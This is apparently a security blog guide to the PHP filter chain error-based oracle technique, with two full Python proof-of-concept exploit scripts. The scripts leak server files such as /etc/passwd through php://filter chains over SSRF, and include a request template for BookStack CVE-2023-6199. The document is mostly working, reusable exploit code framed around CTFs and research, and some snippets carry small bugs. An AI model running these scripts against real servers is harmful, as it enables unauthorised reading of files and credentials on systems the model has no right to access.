Overview
POC SCRIPTS: link.
The Synacktiv team published an in-depth research article, PHP Filter Chains: File Read from Error-Based Oracle, initially disclosed at DownUnder CTF 2022. This research was based on a challenge by @hash_kitten
, where players were tasked with leaking the /flag
file from a vulnerable PHP-based infrastructure using error-based oracles.
Rather than diving into the deep technical internals (which can be reviewed in the PoC comments), this guide presents a Procedural-Oriented Programming (POP) adaptation of Synacktiv's original Object-Oriented Programming (OOP) exploit (available here).
This POP-based approach makes it easier to understand the attack's step-by-step execution, allowing for customization of key parameters when adapting the exploit with just one script, especially for CTF challenges.
- This repository includes two Proof-of-Concept (PoC) scripts:
poc.py
– The standard version, structured with wrapped functions that cleanly separate each phase of the exploit.poc_procedure.py
– A more procedure-oriented approach, specifically designed for CTF scenarios, allowing step-by-step customization of the exploitation process.
Scenarios
PHP filter chain exploits typically require the following attack primitives for Arbitrary File Read:
1. LFR via SSRF
- Objective: Exploiting Server-Side Request Forgery (SSRF), so that we can interact with the server using URLs and PHP stream wrappers (
php://filter
). - Example: CVE-2023-6199 in BookStack demonstrates Local File Read (LFR) via SSRF.
2. Oracle Recovery
- Objective: Capture server responses from oracle-based exploits.
- Tooling: Wireshark, tcpdump, or BurpSuite to inspect HTTP responses.
- Example: A classic CTF challenge demonstrating this method is available here.
Using the PoC
Before executing the PoC, you need to customize the req()
function to define how the exploit interacts with the target server. Because the specific request method (GET/POST/other) and SSRF entry point will vary depending on the scenario.
A basic example: sending the filter chain via a GET request:
def req(s):
""" [!] Customize the logic of requests """
file_to_leak = '/etc/passwd'
chain = f"php://filter/{s}/resource={file_to_leak}"
import requests
url = f'http://example.com/ssrf.php?url={chain}'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Cookie" : "sessionid=abcdefg123456",
}
response = requests.get(url=url, headers=headers=headers)
"""
We send the requests and verify the responses
If status_code == 200, returns False and stop brute forcing,
while we should continue when the server returns 500 (True)
"""
return response.status_code == 500
Once the req()
function is properly configured, simply execute the script with:
python3 poc.py
If something went wrong (which is possible due to special request data conversion, base64 output filtering logic, or unexpected server responses), use the comments in the scripts to debug the exploit process.
Usage Examples
CVE-2023-6199
To exploit CVE-2023-6199, the req()
function can be defined for example:
def req(s):
""" [!] Customize the logic of requests """
file_to_leak = '/etc/passwd'
chain = f"php://filter/{s}/resource={file_to_leak}"
# Base64 encode the filter embedded inside an <img> tag
import base64
chain_b64 = base64.b64encode(chain.encode("ascii")).decode("ascii")
html = f"<img src='data:image/png;base64,{chain_b64}'/>"
# Send PUT requests to BookStack server
import requests
target = 'https://bookstack.example.com/ajax/page/8/save-draft'
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"X_CSRF_TOKEN" : "abcdefghijklmn...",
"Content-Type" : "application/x-www-form-urlencoded"
"Cookie" : "sessionid=abcdefg123456...",
}
data = {
"name":"axura",
"html": html,
}
try:
response = session.put(
target,
data=data,
)
return response.status_code == 500
except requests.exceptions.ConnectionError:
print("[-] Could not instantiate a connection")
exit(1)
A practical demonstration of this exploitation can be found in the HackTheBox Checker machine, I detail the attack methodology in a writeup. The writeup remains password-protected until the machine is retired, which required by the HTB official team.
Oracle Recovery from PCAPNG
For CTF challenges involving network traffic analysis, we often encounter packet capture files (.pcapng
). like this one. We can first use pyshark
to analyze HTTP traffic and correlate PHP filter chains with their corresponding server responses:
import pyshark
import urllib.parse
""" GV """
file_path = "X:\\CTFs\\Misc\\lfr.pcapng" # Change this
tshark_path = "Z:\\Tools\Wireshark\\tshark.exe" # Change this
""" Extracted data from pcappng """
data = pyshark.FileCapture(
input_file=file_path,
display_filter='http',
tshark_path=tshark_path,
)
""" Match php filter chains oracles with their corresponding status codes """
result, chains = {}, {}
for p in data:
if "HTTP" in p:
if "request_method" in p.http.field_names:
uri = p.http.request_uri
if "/test.php" in uri:
file_data = p.http.file_data
hex_data = file_data.split(':')
byte_data = bytes(int(hex, 16) for hex in hex_data)
php_filter_chain = (urllib.parse.unquote(byte_data.decode("utf-8")))[len('value='):]
chains[p.number] = php_filter_chain
result[php_filter_chain] = None
elif "request_in" in p.http.field_names:
request_frame = str(p.http.request_in)
response_code = p.http.response_code
if request_frame in chains:
php_filter_chain = chains.pop(request_frame)
result[php_filter_chain] = response_code
for chain, status in result.items():
print(f"{chain} -> {status if status else 'No Response'}")
Extracted oracle data:
2025-03-05 10:04:34,345 - DEBUG - php://filter/convert.base64-encode|...|convert.iconv.L1.UCS-4LE/resource=/flag -> 200
2025-03-05 10:04:34,348 - DEBUG - php://filter/convert.base64-encode|...|convert.iconv.L1.UCS-4LE/resource=/flag -> 500
Now that we have mapped PHP filter chains to server responses, we can integrate this into our proof-of-concept (PoC
) script to automate exploitation. By modifying the req()
function:
def req(s):
""" Modify request """
chain = f"php://filter/{s}/resource=/flag"
if chain in result:
status_code = int(result[chain])
else:
return "Debug!"
return status_code == 500
The function returns True
for a 200
response, indicating a valid filter chain, and False
for a 500
, signaling failure (target server blown up). This allows us to refine our attack by filtering out ineffective payloads.
To be notice, as I mention in the PoC comment:
# Turn `==` become `=3D=3D` to blow up memeory:
BLOW_UP_ENC = join(*['convert.quoted-printable-encode']*1000) # The repeated amount does not matter, can be altered
The repeated amount of using filter chain BLOW_UP_ENC
does not matter, which just transform ==
into =3D=3D
to blow up the server after we find a proper filter chain to just hit the baseline to not blow up the server (meaning the server will blow up in an instance after the encoding with BLOW_UP_ENC
filters). Therefore, in our scenario, we should first study the network traffic to find out the repeated amount used when the attackers sent the payloads.
Once the correct parameters are set, we can successfully recover the oracles and extract the flag:

Appendix
PoC | Standard
Download address: link
#!/usr/bin/env python3
# Author: Axura
# Website: https://4xura.com
# Description: A PoC script to exploit PHP filter chains oracle
# Refernce: https://github.com/synacktiv/php_filter_chains_oracle_exploit
# Usage: python3 poc.py
# (Ensure to customize the logic inside req() before execution)
import sys
import logging
import base64
""" Configuration """
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
DEBUG = 1 # Set to 1 to enable debugging, 0 to disable
def pr_debug(message):
""" Debug logging """
if DEBUG:
logging.debug(message)
"""
# THE IDEA
PHP's memory limit can BE abused as an error oracle (128MB by default). By repeatedly applying
the `convert.iconv.L1.UCS-4LE` filter, the string length inflates 4x per application, quickly
triggering a 500 Internal Server Error — but only if the string is non-empty (server responses
valid content). This provides a direct way to determine whether a given string (content of files
on remote server) exists or not.
# CHAR VERIFICATION | dechunk
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
The `dechunk` filter introduces a powerful side effect in PHP. It was implemented for some http
implementation. But for our purposes, we can leverage tis interesting behavior:
- If the input lacks newlines and begins with `A-Fa-f0-9`, the entire string is wiped.
- Otherwise, the input remains untouched.
For example, if the flag starts with `f`, the following filter chain verifies this property
without triggering a 500 error:
dechunk | convert.iconv.L1.UCS-4LE | convert.iconv.L1.UCS-4LE | ... | convert.iconv.L1.UCS-4LE
(If a 500 error occurs, we know the first character is not in `A-Fa-f0-9`. Otherwise, it is.)
# EXTRACT CHARS
While we can verify the first characte's membership in `A-Fa-f0-9`, extracting the full flag presents
deeper challenges:
- Finding a way to MOVE characters from deeper in the flag to the FRONT for filtering.
- Precisely identify which character is moved to the front end.
"""
def join(*x):
""" Join multiple filter chains """
return '|'.join(x)
def err(msg):
""" Error messages """
print(f"[-] {msg}")
raise ValueError
def req(s):
""" [!] Customize the logic of requests """
"""
`s` is the php filter chain used to brute force
e.g.: php://filter/{s}/resource=/etc/passwd
"""
file_to_leak = ''
chain = f"php://filter/{s}/resource={file_to_leak}"
"""
We send the requests and verify the responses
If status_code == 200, returns False and stop brute forcing,
while we should continue when the server returns 500 (return True)
Example pseudo code:
```
pr_debug(f"[*] Testing: {chain[:64]}...{chain[:64]} -> Status Code: {status_code}")
return status_code == 500
```
"""
"""
# Phase 1:
For our second-stage exploit to function, we need to guarantee two key conditions:
## The string must only contain a-zA-Z0-9.
## The string must end with == (two equals signs).
### Condition 1: Enforcing Alphanumeric Content
A double Base64 encoding of the flag file ensures that the output is strictly within the
alphanumeric range (a-zA-Z0-9), eliminating problematic characters.
### Condition 2: Ensuring the == Padding
Since we don't know the flag file length, we can't guarantee it naturally ends in ==. But:
a) We can use filter `convert.quoted-printable-encode`, which only increases memory usage
when the input ends in `==`.
b) If our double-Base64 flag doesn't end in ==, we must manipulate it until it does.
### Crafting the Oracle with `convert.iconv..CSISO2022KR`
We prepend junk data to the start of the flag using `convert.iconv..CSISO2022KR` until the
double-Base64 result aligns with the `==` requirement.
Once both conditions are satisfied, we proceed to the next step, leveraging
`convert.quoted-printable-encode` as a memory-based error oracle.
PoC for Phase 1:
https://github.com/4xura/php_filter_chain_oracle_poc/blob/main/filters_playaround/p1_fmt_filters.php
"""
# Solution for condition 1 - a double Base64 encoding:
HEADER = 'convert.base64-encode|convert.base64-encode'
# Turn `==` become `=3D=3D` to blow up memeory:
BLOW_UP_ENC = join(*['convert.quoted-printable-encode']*1000) # The repeated amount does not matter, can be altered
# Inflates string 4x per filter use
BLOW_UP_UTF32 = 'convert.iconv.L1.UCS-4LE'
BLOW_UP_INF = join(*[BLOW_UP_UTF32]*50)
def fmt_filters():
global HEADER
""" Phase 1: Format filter chains """
print('[*] Computing Baseline to blow up server...')
baseline_blowup = 0
for n in range(100):
payload = join(*[BLOW_UP_UTF32]*n)
if req(f'{HEADER}|{payload}'):
baseline_blowup = n
break
else:
err(f'[-] Cannot blow up server with filter(convert.iconv.L1.UCS-4LE) * {n}.')
print(f'[+] Baseline to blow up server: {baseline_blowup}.')
""" The filter chain just not blowing up server """
trailer = join(*[BLOW_UP_UTF32]*(baseline_blowup - 1))
assert req(f'{HEADER}|{trailer}') == False # Request retunrs 200
pr_debug(f"[+] Trailer: {trailer}")
""" Format oracle with == at the end """
print('[*] Detecting equals(==) at the end of filter chains...')
equal_detector = [
req(f'convert.base64-encode|convert.base64-encode|{BLOW_UP_ENC}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode|{BLOW_UP_ENC}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{BLOW_UP_ENC}|{trailer}')
]
pr_debug(f"[*] Responses from equal detector: {equal_detector}.")
if sum(equal_detector) != 2: # expect 2 Trues (500) and 1 False (200)
err('[-] Something went wrong.')
if equal_detector[0] == False:
HEADER = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif equal_detector[1] == False:
HEADER = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif equal_detector[2] == False:
HEADER = f'convert.base64-encode|convert.base64-encode'
else:
err('[-] Something went wrong.')
pr_debug(f"[+] Adjusted HEADER to make sure == appended: {HEADER}")
"""
# Phase 2:
At this stage, our string takes the form:
[a-zA-Z0-9 things]==
Now, the real challenge begins: How do we access arbitrary characters using php fitlers?
# SWAP CHARS
A direct way to peel characters off the front would BE ideal, but after extensive testing,
no such filter was found. However, certain filters SWAP characters in predictable ways,
allowing controlled character access. We leverage 2 key filters to manipulate character
positions:
- convert.iconv.CSUNICODE.UCS-2BE (R2 gadget):
Swaps every adjacent character pair:
abcdefgh → badcfehg
- convert.iconv.UCS-4LE.10646-1:1993 (R4 gadget):
Reverses every group of four characters:
abcdefgh → dcbahgfe
> These transformations give us access to the first four characters of the string.
But we need more.
- convert.iconv.CSUNICODE.CSUNICODE:
Prepends \xff\xfe to the string:
abcdefgh → \xff\xfeabcdefgh
Using this alongside the R4 gadget, we get:
ba\xfe\xfffedc
> This disrupts the structure, but we can repair the corruption with a clever trick.
# BYTE ALIGNMENT
The R4 gadget (convert.iconv.UCS-4LE.10646-1:1993) requires the string length to
BE a multiple of 4, but our Unicode injection breaks this requirement
(convert.iconv.CSUNICODE.CSUNICODE filter makes two more chars than 4x). This is
where the double equals we required in step 1 comes in! Here's where
the == padding we enforced in Step 1 becomes crucial:
convert.quoted-printable-encode | convert.quoted-printable-encode | convert.iconv.L1.utf7
| convert.iconv.L1.utf7 | convert.iconv.L1.utf7 | convert.iconv.L1.utf7
By applying this, we transform == into:
+---AD0-3D3D+---AD0-3D3D
This realigns the string length to a multiple of 4, allowing the R4 gadget to work.
# RECAP
Starting with:
abcdefghij==
Apply convert.quoted-printable-encode + convert.iconv.L1.utf7
abcdefghij+---AD0-3D3D+---AD0-3D3D
Apply R2 (convert.iconv.CSUNICODE.CSUNICODE)
\xff\xfeabcdefghij+---AD0-3D3D+---AD0-3D3D
Apply R4 (swap chunks of 4)
ba\xfe\xfffedcjihg---+-0DAD3D3---+-0DAD3D3
Apply base64-decode | base64-encode
bafedcjihg+0DAD3D3+0DAD3Dw==
Apply R4 again
efabijcd0+gh3DAD0+3D3DAD==wD
At this point, we have extracted characters beyond the first four.
# INSIGHT
- The string still has == at the end, meaning we can repeat the process indefinitely
- Each cycle brings new characters to the front, allowing a full extraction of the string (our flag).
PoC for Phase 2:
https://github.com/4xura/php_filter_chain_oracle_poc/blob/main/filters_playaround/p2_swap_chars.php
"""
FLIP = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
R2 = "convert.iconv.CSUNICODE.UCS-2BE"
R4 = "convert.iconv.UCS-4LE.10646-1:1993"
def get_nth(n):
"""Provides filters to get the n-th character of some resource."""
o = []
chunk = n // 2
if chunk % 2 == 1: o.append(R4)
o.extend([FLIP, R4] * (chunk // 2))
if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(R2)
return join(*o)
"""
# Step 3: DECODING
Now that we have a method to extract arbitrary characters, our next challenge is identifying them.
## Using dechunk for Hex Characters
The dechunk filter provides a simple oracle to determine whether the first character is `0-9A-Fa-f`.
- If applying dechunk wipes the string, the first character is hex.
- If the string remains intact, the first character is not hex.
## Using Known Filter Chains for Letters
Since dechunk only confirms whether a character is hex or not, we need additional filters
to identify specific values. There're a lot filters we can use here:
- ROT1 (convert.iconv.437.CP930) shifts each character by 1 in the given encoding.
- Example:
abcdef → bcdefg
XYZ123 → YZA234
- convert.iconv.CSASCII.CSUNICODE (ASCII to Unicode transformation) Expands each ASCII character
into two bytes (UTF-16 representation).
- Example:
A → \x00A
B → \x00B
1 → \x001
- convert.iconv.L1.UCS-2BE (Latin-1 to UCS-2BE) Expands characters and swaps adjacent bytes.
- Example:
ABCD → BADC
- ...
Then we use the trick introduced in Phase 2 to normalize encoded output for later manipulations:
convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode
## Extracting Numbers (0-9)
Numbers are more difficult because most iconv transformations don't modify them.
In a CTF setting, brute-forcing or guessing the numbers once we have the letters is easy.
However, in REAL-LIFE scenario, we can encode the string a third time in Base64. Because,
A third Base64 encoding produces a consistent two-character prefix. Since Base64 operates
in fixed chunks, this prefix uniquely corresponds to each number. By mapping these prefixes,
we can systematically extract numeric values without guessing.
"""
# Here we use ROT1 to shift chars
ROT1 = 'convert.iconv.437.CP930'
# Method to format strings introduced in Phase 1 for later manipulation
BE = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
def find_letter(prefix):
if not req(f'{prefix}|dechunk|{BLOW_UP_INF}'):
# a-f A-F 0-9
if not req(f'{prefix}|{ROT1}|dechunk|{BLOW_UP_INF}'):
# a-e
for n in range(5):
if req(f'{prefix}|' + f'{ROT1}|{BE}|'*(n+1) + f'{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'edcba'[n]
break
else:
err('[-] Failed to decode letters!')
elif not req(f'{prefix}|string.tolower|{ROT1}|dechunk|{BLOW_UP_INF}'):
# A-E
for n in range(5):
if req(f'{prefix}|string.tolower|' + f'{ROT1}|{BE}|'*(n+1) + f'{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'EDCBA'[n]
break
else:
err('[-] Failed to decode letters!')
elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{BLOW_UP_INF}'):
return '*'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# f
return 'f'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# F
return 'F'
else:
err('[-] Failed to decode letters!')
elif not req(f'{prefix}|string.rot13|dechunk|{BLOW_UP_INF}'):
# n-s N-S
if not req(f'{prefix}|string.rot13|{ROT1}|dechunk|{BLOW_UP_INF}'):
# n-r
for n in range(5):
if req(f'{prefix}|string.rot13|' + f'{ROT1}|{BE}|'*(n+1) + f'{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'rqpon'[n]
break
else:
err('[-] Failed to decode letters!')
elif not req(f'{prefix}|string.rot13|string.tolower|{ROT1}|dechunk|{BLOW_UP_INF}'):
# N-R
for n in range(5):
if req(f'{prefix}|string.rot13|string.tolower|' + f'{ROT1}|{BE}|'*(n+1) + f'{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'RQPON'[n]
break
else:
err('[-] Failed to decode letters!')
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# s
return 's'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# S
return 'S'
else:
err('[-] Failed to decode letters!')
elif not req(f'{prefix}|{ROT1}|string.rot13|dechunk|{BLOW_UP_INF}'):
# i j k
if req(f'{prefix}|{ROT1}|string.rot13|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'k'
elif req(f'{prefix}|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'j'
elif req(f'{prefix}|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'i'
else:
err('[-] Failed to decode letters!')
elif not req(f'{prefix}|string.tolower|{ROT1}|string.rot13|dechunk|{BLOW_UP_INF}'):
# I J K
if req(f'{prefix}|string.tolower|{ROT1}|string.rot13|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'K'
elif req(f'{prefix}|string.tolower|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'J'
elif req(f'{prefix}|string.tolower|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'I'
else:
err('[-] Failed to decode letters!')
elif not req(f'{prefix}|string.rot13|{ROT1}|string.rot13|dechunk|{BLOW_UP_INF}'):
# v w x
if req(f'{prefix}|string.rot13|{ROT1}|string.rot13|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'x'
elif req(f'{prefix}|string.rot13|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'w'
elif req(f'{prefix}|string.rot13|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'v'
else:
err('[-] Failed to decode letters!')
elif not req(f'{prefix}|string.tolower|string.rot13|{ROT1}|string.rot13|dechunk|{BLOW_UP_INF}'):
# V W X
if req(f'{prefix}|string.tolower|string.rot13|{ROT1}|string.rot13|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'X'
elif req(f'{prefix}|string.tolower|string.rot13|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'W'
elif req(f'{prefix}|string.tolower|string.rot13|{ROT1}|string.rot13|{BE}|{ROT1}|{BE}|{ROT1}|{BE}|{ROT1}|dechunk|{BLOW_UP_INF}'):
return 'V'
else:
err('[-] Failed to decode letters!')
elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{BLOW_UP_INF}'):
# Z
return 'Z'
elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{BLOW_UP_INF}'):
# z
return 'z'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{BLOW_UP_INF}'):
# M
return 'M'
elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{BLOW_UP_INF}'):
# m
return 'm'
elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{BLOW_UP_INF}'):
# y
return 'y'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{BLOW_UP_INF}'):
# Y
return 'Y'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{BLOW_UP_INF}'):
# l
return 'l'
elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{BLOW_UP_INF}'):
# L
return 'L'
elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{BLOW_UP_INF}'):
# h
return 'h'
elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{BLOW_UP_INF}'):
# H
return 'H'
elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{BLOW_UP_INF}'):
# u
return 'u'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{BLOW_UP_INF}'):
# U
return 'U'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# g
return 'g'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# G
return 'G'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# t
return 't'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{BLOW_UP_INF}'):
# T
return 'T'
else:
err('[-] Failed to decode letters!')
def bruteforce(n):
""" Brute force the string for n chars """
o = ''
for i in range(100):
prefix = f'{HEADER}|{get_nth(i)}'
letter = find_letter(prefix)
# It's a number
if letter == '*':
prefix = f'{HEADER}|{get_nth(i)}|convert.base64-encode'
s = find_letter(prefix)
if s == 'M':
# 0 - 3
prefix = f'{HEADER}|{get_nth(i)}|convert.base64-encode|{R2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '0'
elif ss in 'STUVWX':
letter = '1'
elif ss in 'ijklmn':
letter = '2'
elif ss in 'yz*':
letter = '3'
else:
err(f'Bad number: {ss}')
elif s == 'N':
# 4 - 7
prefix = f'{HEADER}|{get_nth(i)}|convert.base64-encode|{R2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '4'
elif ss in 'STUVWX':
letter = '5'
elif ss in 'ijklmn':
letter = '6'
elif ss in 'yz*':
letter = '7'
else:
err(f'Bad number: {ss}')
elif s == 'O':
# 8 - 9
prefix = f'{HEADER}|{get_nth(i)}|convert.base64-encode|{R2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '8'
elif ss in 'STUVWX':
letter = '9'
else:
err(f'Bad number: {ss}')
else:
err('wtf')
print("[*] Decoded characters:")
print(end=letter)
o += letter
sys.stdout.flush()
print()
"""
We are done!!!
"""
def b64_padding(s):
"""
Remove KR padding added by the CSISO2022KR encoding.
When using PHP filter chains, the convert.iconv..CSISO2022KR transformation
adds padding characters (often $)C in binary form).
Therefore, remove this artifacts to decode safely.
Alter filter logic for a different scenario.
"""
b64 = base64.b64decode(s.encode() + b'=' * (-len(s) % 4))
b64 = b64.replace(b'\x1b$)C', b'') # Ensure correct bytes format
b64 += b'=' * (-len(b64) % 4)
return b64
def main(n):
""" Transform string in our desired formats """
fmt_filters()
""" Brute force n chars for the string """
o = bruteforce(n)
pr_debug(o)
""" Padding base64 """
b64 = b64_padding(o)
pr_debug(b64)
return b64
if __name__ == '__main__':
print('\n=============================================================')
print(" Brute forcing PHP Filter chain Oracles ")
print('=============================================================\n')
""" Example use """
b64_output = main(100) # Brute force 100 chars
flag = base64.b64decode(b64_output) # Filter base64 output if needed
print(f"[+] Flag: {flag}")
PoC | CTF
Download address: link
#!/usr/bin/env python3
# Author: Axura
# Website: https://4xura.com
# Description: A PoC script to exploit PHP filter chains oracle, especially for CTFs with Procedure Oriented Programming
# Refernce: https://github.com/synacktiv/php_filter_chains_oracle_exploit
# Usage: python3 poc_procedure.py
# (Ensure to customize the logic inside req() before execution)
import requests
import sys
import logging
import base64
""" Configuration """
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
DEBUG = 1 # Set to 1 to enable debugging, 0 to disable
def pr_debug(message):
""" Debug logging """
if DEBUG:
logging.debug(message)
"""
# THE IDEA
PHP's memory limit can BE abused as an error oracle (128MB by default). By repeatedly applying
the `convert.iconv.L1.UCS-4LE` filter, the string length inflates 4x per application, quickly
triggering a 500 Internal Server Error — but only if the string is non-empty (server responses
valid content). This provides a direct way to determine whether a given string (content of files
on remote server) exists or not.
# CHAR VERIFICATION | dechunk
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
The `dechunk` filter introduces a powerful side effect in PHP. It was implemented for some http
implementation. But for our purposes, we can leverage tis interesting behavior:
- If the input lacks newlines and begins with `A-Fa-f0-9`, the entire string is wiped.
- Otherwise, the input remains untouched.
For example, if the flag starts with `f`, the following filter chain verifies this property
without triggering a 500 error:
dechunk | convert.iconv.L1.UCS-4LE | convert.iconv.L1.UCS-4LE | ... | convert.iconv.L1.UCS-4LE
(If a 500 error occurs, we know the first character is not in `A-Fa-f0-9`. Otherwise, it is.)
# EXTRACT CHARS
While we can verify the first characte's membership in `A-Fa-f0-9`, extracting the full flag presents
deeper challenges:
- Finding a way to MOVE characters from deeper in the flag to the FRONT for filtering.
- Precisely identify which character is moved to the front end.
"""
def join(*x):
""" Join multiple filter chains """
return '|'.join(x)
def err(msg):
""" Error messages """
print(f"[-] {msg}")
raise ValueError
def req(s):
""" [!] Customize the logic of requests """
"""
`s` is the php filter chain used to brute force
e.g.: php://filter/{s}/resource=/etc/passwd
"""
file_to_leak = ''
chain = f"php://filter/{s}/resource={file_to_leak}"
"""
We send the requests and verify the responses
If status_code == 200, returns False and stop brute forcing,
while we should continue when the server returns 500 (return True)
Example pseudo code:
```
pr_debug(f"[*] Testing: {chain[:64]}...{chain[:64]} -> Status Code: {status_code}")
return status_code == 500
```
"""
"""
# Phase 1:
For our second-stage exploit to function, we need to guarantee two key conditions:
## The string must only contain a-zA-Z0-9.
## The string must end with == (two equals signs).
### Condition 1: Enforcing Alphanumeric Content
A double Base64 encoding of the flag file ensures that the output is strictly within the
alphanumeric range (a-zA-Z0-9), eliminating problematic characters.
### Condition 2: Ensuring the == Padding
Since we don't know the flag file length, we can't guarantee it naturally ends in ==. But:
a) We can use filter `convert.quoted-printable-encode`, which only increases memory usage
when the input ends in `==`.
b) If our double-Base64 flag doesn't end in ==, we must manipulate it until it does.
### Crafting the Oracle with `convert.iconv..CSISO2022KR`
We prepend junk data to the start of the flag using `convert.iconv..CSISO2022KR` until the
double-Base64 result aligns with the `==` requirement.
Once both conditions are satisfied, we proceed to the next step, leveraging
`convert.quoted-printable-encode` as a memory-based error oracle.
PoC for Phase 1:
https://github.com/4xura/php_filter_chain_oracle_poc/blob/main/filters_playaround/p1_fmt_filters.php
"""
# Solution for condition 1 - a double Base64 encoding:
HEADER = 'convert.base64-encode|convert.base64-encode'
# Turn `==` become `=3D=3D` to blow up memeory:
BLOW_UP_ENC = join(*['convert.quoted-printable-encode']*1000) # The repeated amount does not matter, can be altered
# Inflates string 4x per filter use
BLOW_UP_UTF32 = 'convert.iconv.L1.UCS-4LE'
BLOW_UP_INF = join(*[BLOW_UP_UTF32]*50)
""" Phase 1: Format filter chains """
print('[*] Computing Baseline to blow up server...')
baseline_blowup = 0
for n in range(100):
payload = join(*[BLOW_UP_UTF32]*n)
if req(f'{HEADER}|{payload}'):
baseline_blowup = n
break
else:
err(f'[-] Cannot blow up server with filter(convert.iconv.L1.UCS-4LE) * {n}.')
print(f'[+] Baseline to blow up server: {baseline_blowup}.')
""" The filter chain just not blowing up server """
trailer = join(*[BLOW_UP_UTF32]*(baseline_blowup - 1))
assert req(f'{HEADER}|{trailer}') == False # Request retunrs 200
pr_debug(f"[+] Trailer: {trailer}")
""" Format oracle with == at the end """
print('[*] Detecting equals(==) at the end of filter chains...')
equal_detector = [
req(f'convert.base64-encode|convert.base64-encode|{BLOW_UP_ENC}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode|{BLOW_UP_ENC}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{BLOW_UP_ENC}|{trailer}')
]
pr_debug(f"[*] Responses from equal detector: {equal_detector}.")
if sum(equal_detector) != 2: # expect 2 Trues (500) and 1 False (200)
err('[-] Something went wrong.')
if equal_detector[0] == False:
HEADER = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
